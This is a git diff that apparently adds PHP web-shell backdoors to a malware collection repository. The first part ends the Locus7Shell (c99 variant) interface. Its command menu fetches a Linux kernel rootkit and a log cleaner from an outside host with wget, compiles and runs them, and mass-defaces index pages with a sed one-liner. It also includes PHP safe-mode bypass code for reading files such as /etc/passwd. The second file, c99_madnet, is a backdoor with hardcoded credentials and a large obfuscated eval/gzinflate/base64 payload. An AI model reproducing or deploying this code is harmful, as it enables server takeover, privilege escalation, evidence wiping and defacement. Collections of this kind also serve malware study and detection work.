sudo sploit + <OPTION VALUE="./sudosploit">Execute Sudosploit + <OPTION VALUE="wget http://twofaced.org/linux2-6-all.c">Linux Kernel 2.6.* rootkit.c + <OPTION VALUE="gcc linux2-6-all.c -o linuxkernel">Compile Linux2-6-all.c + <OPTION VALUE="./linuxkernel">Run Linux2-6-all.c + <OPTION VALUE="wget http://twofaced.org/mig-logcleaner.c">Mig LogCleaner + <OPTION VALUE="gcc -DLINUX -WALL mig-logcleaner.c -o migl">Compile Mig LogCleaner + <OPTION VALUE="./migl -u root 0">Compile Mig LogCleaner + <OPTION VALUE="sed -i -e 's/<html>/<div style=\'position\:absolute\;width\:2000px\;height\:2000px\;background-color\:black\'><br><br><br><br>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<img src=\'http://img244.imageshack.us/img244/6663/locus7sgm8.jpg\'><br><font size=\'10\' color=\'green\'>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<font size=\'10\' color=\'green\'>HACKED BY <a href=\'http\:\/\/locus7s.com\'>LOCUS7S<\/a><\/font><\/div><meta http-equiv=\'refresh\' content=\'5\\;url=http\:\/\/locus7s.com\'>/g' index.*">index.* Mass Defacement + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> + + + + + + + + + + + + + + + + + + + + + + + + + + +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Make Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>Make File<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Go Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>Go File<form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ x2300 Locus7Shell v. <?php echo $shver; ?> <a href="http://www.locus7s.com/"><u><b>Modded by</b></u></a> #!physx^ | <a href="http://www.locus7s.com">www.LOCUS7S.com</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99_madnet.txt b/web-malware-collection-master/Backdoors/PHP/c99_madnet.txt new file mode 100755 index 0000000..a55fbef --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99_madnet.txt @@ -0,0 +1,7 @@ +<?PHP + //Authentication +$login = "user"; //Login +$pass = "pass"; //Pass +$md5_pass = ""; //If no pass then hash +eval(gzinflate(base64_decode('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